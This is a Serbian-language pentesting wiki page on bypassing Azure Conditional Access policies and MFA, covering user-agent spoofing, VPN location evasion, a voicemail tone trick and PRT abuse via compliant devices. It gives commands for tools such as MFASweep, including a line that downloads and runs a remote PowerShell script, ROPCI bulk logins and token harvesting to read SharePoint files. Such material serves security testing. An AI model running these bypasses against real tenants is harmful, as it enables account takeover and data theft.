# Az - Politike uslovnog pristupa i MFA zaobilaženje

{{#include ../../../../banners/hacktricks-training.md}}

## Osnovne informacije

Azure politike uslovnog pristupa su pravila postavljena u Microsoft Azure-u za sprovođenje kontrola pristupa uslugama i aplikacijama Azure na osnovu određenih **uslova**. Ove politike pomažu organizacijama da osiguraju svoje resurse primenom pravih kontrola pristupa pod pravim okolnostima.\
Politike uslovnog pristupa u osnovi **definišu** **Ko** može pristupiti **Čemu** iz **Gde** i **Kako**.

Evo nekoliko primera:

1. **Politika rizika prijavljivanja**: Ova politika može biti postavljena da zahteva višefaktorsku autentifikaciju (MFA) kada se otkrije rizik prijavljivanja. Na primer, ako je ponašanje korisnika prilikom prijavljivanja neobično u poređenju sa njihovim redovnim obrascem, kao što je prijavljivanje iz druge zemlje, sistem može zatražiti dodatnu autentifikaciju.
2. **Politika usklađenosti uređaja**: Ova politika može ograničiti pristup uslugama Azure samo na uređaje koji su usklađeni sa bezbednosnim standardima organizacije. Na primer, pristup može biti dozvoljen samo sa uređaja koji imaju ažuriran antivirusni softver ili koji koriste određenu verziju operativnog sistema.

## Enumeracija
```bash
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
```
## Bypass-ovi politika uslovnog pristupa

Moguće je da politika uslovnog pristupa **proverava neke informacije koje se lako mogu izmeniti, omogućavajući zaobilaženje politike**. I ako je, na primer, politika konfigurisala MFA, napadač će moći da je zaobiđe.

Prilikom konfigurisanja politike uslovnog pristupa potrebno je naznačiti **korisnike** koji su pogođeni i **ciljne resurse** (kao što su sve cloud aplikacije).

Takođe je potrebno konfigurisati **uslove** koji će **pokrenuti** politiku:

- **Mreža**: IP, IP opsezi i geografske lokacije
- Može se zaobići korišćenjem VPN-a ili Proxy-a za povezivanje sa zemljom ili uspevajući da se prijavi sa dozvoljene IP adrese
- **Microsoft rizici**: Rizik korisnika, Rizik prijavljivanja, Rizik unutrašnjeg korisnika
- **Platforme uređaja**: Bilo koji uređaj ili odabrati Android, iOS, Windows telefon, Windows, macOS, Linux
- Ako “Bilo koji uređaj” nije odabran, ali su sve druge opcije odabrane, moguće je zaobići to koristeći nasumični user-agent koji nije povezan sa tim platformama
- **Klijentske aplikacije**: Opcije su “Pregledač”, “Mobilne aplikacije i desktop klijenti”, “Exchange ActiveSync klijenti” i “Ostali klijenti”
- Da bi se zaobišao prijavljivanje sa neodabranom opcijom
- **Filter za uređaje**: Moguće je generisati pravilo vezano za korišćeni uređaj
- **Tokovi autentifikacije**: Opcije su “Tok kod uređaja” i “Prenos autentifikacije”
- Ovo neće uticati na napadača osim ako ne pokušava da zloupotrebi neki od tih protokola u pokušaju phishing-a da pristupi nalogu žrtve

Mogući **rezultati** su: Blokirati ili Dodeliti pristup uz potencijalne uslove kao što su zahtev za MFA, uređaj da bude usklađen…

### Platforme uređaja - Uslov uređaja

Moguće je postaviti uslov zasnovan na **platformi uređaja** (Android, iOS, Windows, macOS...), međutim, ovo se zasniva na **user-agent-u** pa je lako zaobići. Čak i **postavljanjem svih opcija da primoraju MFA**, ako koristite **user-agent koji nije prepoznat**, moći ćete da zaobiđete MFA ili blokadu:

<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>

Samo slanjem nepoznatog user-agent-a (kao što je `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) dovoljno je da ne aktivira ovaj uslov.\
Možete ručno promeniti user-agent u alatima za razvoj:

<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>

Ili koristiti [proširenje za pregledač poput ovog](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).

### Lokacije: Zemlje, IP opsezi - Uslov uređaja

Ako je ovo postavljeno u uslovnoj politici, napadač bi mogao samo da koristi **VPN** u **dozvoljenoj zemlji** ili pokušati da pronađe način da pristupi sa **dozvoljene IP adrese** kako bi zaobišao ove uslove.

### Cloud aplikacije

Moguće je konfigurisati **politike uslovnog pristupa da blokiraju ili primoraju** na primer MFA kada korisnik pokuša da pristupi **specifičnoj aplikaciji**:

<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>

Da biste pokušali da zaobiđete ovu zaštitu, trebali biste videti da li možete **pristupiti bilo kojoj aplikaciji**.\
Alat [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ima **desetine ID-eva aplikacija hardkodiranih** i pokušaće da se prijavi u njih i obavestiće vas, čak će vam dati token ako bude uspešan.

Da biste **testirali specifične ID-eve aplikacija u specifičnim resursima**, takođe možete koristiti alat kao što je:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>
```
Pored toga, moguće je zaštititi metodu prijavljivanja (npr. ako pokušavate da se prijavite iz pregledača ili iz desktop aplikacije). Alat [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) vrši neke provere kako bi pokušao da zaobiđe ove zaštite.

Alat [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) takođe može biti korišćen u slične svrhe, iako izgleda da nije održavan.

Alat [**ROPCI**](https://github.com/wunderwuzzi23/ropci) takođe može biti korišćen za testiranje ovih zaštita i proveru da li je moguće zaobići MFA ili blokade, ali ovaj alat radi iz **whitebox** perspektive. Prvo morate preuzeti listu aplikacija koje su dozvoljene u tenant-u, a zatim će pokušati da se prijavi u njih.

## Ostali Az MFA zaobilaženja

### Ton zvona

Jedna Azure MFA opcija je da **primite poziv na konfigurisanom broju telefona** gde će biti zatraženo od korisnika da **pošalje znak `#`**.

> [!CAUTION]
> Pošto su znakovi samo **tonovi**, napadač bi mogao da **kompromituje** **poruku govora** na broju telefona, da konfiguriše kao poruku **ton `#`** i zatim, kada se zahteva MFA, da osigura da je **telefon žrtve zauzet** (pozivajući ga) tako da se Azure poziv preusmeri na govornu poštu.

### Usklađeni uređaji

Politike često zahtevaju usklađeni uređaj ili MFA, tako da bi **napadač mogao da registruje usklađeni uređaj**, dobije **PRT** token i **na ovaj način zaobiđe MFA**.

Počnite tako što ćete registrovati **usklađeni uređaj u Intune**, zatim **dobijte PRT** sa:
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>
```
Nađite više informacija o ovoj vrsti napada na sledećoj stranici:

{{#ref}}
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
{{#endref}}

## Alati

### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)

Ovaj skript uzima neke korisničke akreditive i proverava da li može da se prijavi na neke aplikacije.

Ovo je korisno da se vidi da li **niste obavezni da koristite MFA za prijavu na neke aplikacije** koje kasnije možete zloupotrebiti da **povećate privilegije**.

### [roadrecon](https://github.com/dirkjanm/ROADtools)

Dobijte sve politike
```bash
roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)

MFASweep je PowerShell skripta koja pokušava da **prijavi na razne Microsoft usluge koristeći dati skup kredencijala i pokušava da identifikuje da li je MFA omogućena**. U zavisnosti od toga kako su konfigurisana pravila uslovnog pristupa i druge postavke višefaktorske autentifikacije, neki protokoli mogu ostati sa jednim faktorom. Takođe ima dodatnu proveru za ADFS konfiguracije i može pokušati da se prijavi na lokalni ADFS server ako je otkriven.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)

Ovaj alat je pomogao u identifikaciji MFA zaobilaženja i zatim u zloupotrebi API-ja u više produkcionih AAD tenanata, gde su AAD korisnici verovali da imaju MFA primenjen, ali je ROPC zasnovana autentifikacija uspela.

> [!TIP]
> Potrebno je imati dozvole da biste mogli da navedete sve aplikacije kako biste mogli da generišete listu aplikacija za brute-force.
```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)

Donkey token je skup funkcija koje imaju za cilj da pomognu bezbednosnim konsultantima koji treba da validiraju Politike uslovnog pristupa, testove za Microsoft portale sa 2FA, itd.

<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>

**Testirajte svaki portal** da li je moguće **prijaviti se bez MFA**:
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Zato što **Azure** **portal** **nije ograničen**, moguće je **prikupiti token sa krajnje tačke portala za pristup bilo kojoj usluzi koja je otkrivena** prethodnom izvršenju. U ovom slučaju, Sharepoint je identifikovan, i traži se token za pristup njemu:
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Pretpostavljajući da token ima dozvolu Sites.Read.All (iz Sharepoint-a), čak i ako ne možete pristupiti Sharepoint-u putem veba zbog MFA, moguće je koristiti token za pristup datotekama sa generisanim tokenom:
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## Reference

- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)

{{#include ../../../../banners/hacktricks-training.md}}
